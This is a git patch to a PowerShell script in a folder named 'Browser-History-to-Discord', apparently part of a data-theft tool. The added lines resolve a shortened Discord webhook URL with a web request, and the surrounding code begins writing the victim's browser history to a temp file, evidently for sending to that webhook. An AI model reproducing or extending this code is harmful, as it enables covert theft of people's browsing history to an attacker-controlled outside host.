From f70eb231f06c5fa71e40f0b0918de24489f407eb Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 2 Jan 2024 21:45:18 +0000 Subject: [PATCH] Update main.ps1 --- Browser-History-to-Discord/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Browser-History-to-Discord/main.ps1 b/Browser-History-to-Discord/main.ps1 index b8cbd6a..9282709 100644 --- a/Browser-History-to-Discord/main.ps1 +++ b/Browser-History-to-Discord/main.ps1 @@ -1,6 +1,9 @@  $whuri = "$dc" +# shortened URL Detection +if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url} + $outpath = "$env:temp\history.txt" "Browser History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII